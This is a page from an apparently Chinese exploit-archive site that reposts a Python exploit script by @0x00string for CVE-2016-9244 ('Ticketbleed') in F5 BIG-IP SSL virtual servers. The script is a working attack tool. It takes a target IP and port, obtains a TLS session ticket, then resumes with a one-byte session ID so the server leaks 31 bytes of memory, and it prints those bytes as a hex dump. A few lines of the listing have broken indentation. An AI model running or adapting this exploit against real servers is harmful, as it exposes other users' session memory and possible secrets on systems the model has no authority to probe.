首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
F5 BIG-IP 11.6 SSL Virtual Server - 'Ticketbleed' Memory Disclosure
来源:https://github.com/0x00string 作者:0x00string 发布时间:2018-04-13  

# -*- coding: utf-8 -*-
#!/usr/bin/python
# Exploit Title: Ticketbleed
# Google Dork: n/a
# Date: Exploit: 02/13/17, Advisory Published: 02/09/17
# Exploit Author: @0x00string
# Vendor Homepage: https://f5.com/
# Software Link: https://support.f5.com/csp/article/K05121675
# Version: see software link for versions
# Tested on: F5 BIGIP 11.6
# CVE : CVE-2016-9244
# require: scapy_ssl_tls (https://github.com/tintinweb/scapy-ssl_tls)
import re, getopt, sys, socket
from struct import *
try:
    from scapy_ssl_tls.ssl_tls import *
except ImportError:
    from scapy.layers.ssl_tls import *

def banner():
    print '''
            lol ty filippo!
             ty tintinweb!
             0000000000000
          0000000000000000000   00
       00000000000000000000000000000
      0000000000000000000000000000000
    000000000             0000000000
   00000000               0000000000
  0000000                000000000000
 0000000               000000000000000
 000000              000000000  000000
0000000            000000000     000000
000000            000000000      000000
000000          000000000        000000
000000         00000000          000000
000000       000000000           000000
0000000    000000000            0000000
 000000   000000000             000000
 0000000000000000              0000000
  0000000000000               0000000
   00000000000              00000000
   00000000000            000000000
  0000000000000000000000000000000
   00000000000000000000000000000
     000  0000000000000000000
             0000000000000
              @0x00string
https://github.com/0x00string/oldays/blob/master/CVE-2016-9244.py
'''

def usage ():
    print   ("python script.py <args>\n"
            "   -h, --help:             Show this message\n"
            "   -a, --rhost:            Target IP address\n"
            "   -b, --rport:            Target port\n"
            "\n\n"
            "Examples:\n"
            "python script.py -a 10.10.10.10 -b 443\n"
            "python script.py --rhost 10.10.10.10 --rport 8443")
    exit()

def pretty (t, m):
    if (t is "+"):
            print "\x1b[32;1m[+]\x1b[0m\t" + m + "\n",
    elif (t is "-"):
            print "\x1b[31;1m[-]\x1b[0m\t" + m + "\n",
    elif (t is "*"):
            print "\x1b[34;1m[*]\x1b[0m\t" + m + "\n",
    elif (t is "!"):
            print "\x1b[33;1m[!]\x1b[0m\t" + m + "\n",

def createDump (input):
    d, b, h = '', [], []
    u = list(input)
    for e in u:
            h.append(e.encode("hex"))
            if e == '0x0':
                    b.append('0')
            elif 30 > ord(e) or ord(e) > 128:
                    b.append('.')
            elif 30 < ord(e) or ord(e) < 128:
                    b.append(e)

    i = 0
    while i < len(h):
            if (len(h) - i ) >= 16:
                    d += ' '.join(h[i:i+16])
                    d += "         "
                    d += ' '.join(b[i:i+16])
                    d += "\n"
                    i = i + 16
            else:
                    d += ' '.join(h[i:(len(h) - 0 )])
                    pad = len(' '.join(h[i:(len(h) - 0 )]))
                    d += ' ' * (56 - pad)
                    d += ' '.join(b[i:(len(h) - 0 )])
                    d += "\n"
                    i = i + len(h)
    return d

def ticketBleed (rhost, rport):
    h = (rhost,int(rport));
    version = TLSVersion.TLS_1_2
    secret = ""
    session_ticket = ""
    sid = ""
    cipher = TLSCipherSuite.ECDHE_RSA_WITH_AES_256_CBC_SHA
    with TLSSocket(socket.socket(), client=True) as sock:
        sock.connect(h)
        ctx = sock.tls_ctx
     packet = TLSRecord() / TLSHandshake() / TLSClientHello(version=version, cipher_suites=TLS_CIPHER_SUITES.keys(), extensions=[TLSExtension() / TLSExtSessionTicketTLS(data="")])
        sock.sendall(packet)
        sock.recvall()
     packet_ke = TLSRecord(version=version) / TLSHandshake() / ctx.get_client_kex_data()
        packet_ccs = TLSRecord(version=TLSVersion.TLS_1_2) / TLSChangeCipherSpec()
        sock.sendall(TLS.from_records([packet_ke, packet_ccs]))
        sock.sendall(to_raw(TLSFinished(), ctx))
        ret = sock.recvall()
        session_ticket = ret[TLSSessionTicket].ticket
        secret = ctx.master_secret
        #pretty("*", "ctx 1: \n" + str(ctx))
    with TLSSocket(socket.socket(), client=True) as sock:
        sock.connect(h)
        ctx = sock.tls_ctx
     packet = TLSRecord() / TLSHandshake() / TLSClientHello(version=TLSVersion.TLS_1_2, cipher_suites=TLS_CIPHER_SUITES.keys(), session_id="A", extensions=[TLSExtension() / TLSExtSessionTicketTLS(data=session_ticket)])
        sock.tls_ctx.resume_session(secret)
        sock.sendall(packet)
        ret = sock.recvall()
        sid = ret[TLSServerHello].session_id
        #pretty("*", "ctx 2: \n" + str(ctx))
        pretty("+", "bled 'A' + 31 bytes: \n" + createDump(sid))

def main():
    rhost = None;
    rport = None;
    options, remainder = getopt.getopt(sys.argv[1:], 'a:b:h:', ['rhost=','rport=','help',])
    for opt, arg in options:
        if opt in ('-h', '--help'):
            usage()
        elif opt in ('-a','--rhost'):
            rhost = arg;
        elif opt in ('-b','--rport'):
            rport = arg;
    banner()
    if rhost is None or rport is None:
        usage()
    ticketBleed(rhost,rport)
    exit(0);

if __name__ == "__main__":
    main()


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·HT Editor File openning Stack
  相关文章
·SysGauge Pro 4.6.12 Local Buff
·Drupal < 7.58 / < 8.3.9 / < 8.
·Google Chrome V8 JIT - 'LoadEl
·DVD X Player Standard 5.5.3.9
·CyberArk Password Vault Web Ac
·CyberArk Password Vault < 9.7
·GoldWave 5.70 - Local Buffer O
·H2 Database - 'Alias' Arbitrar
·SSH / SSL RSA Private Key Pass
·Adobe Flash 28.0.0.137 Remote
·PMS 0.42 Stack-Based Buffer Ov
·Sophos Endpoint Protection Con
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved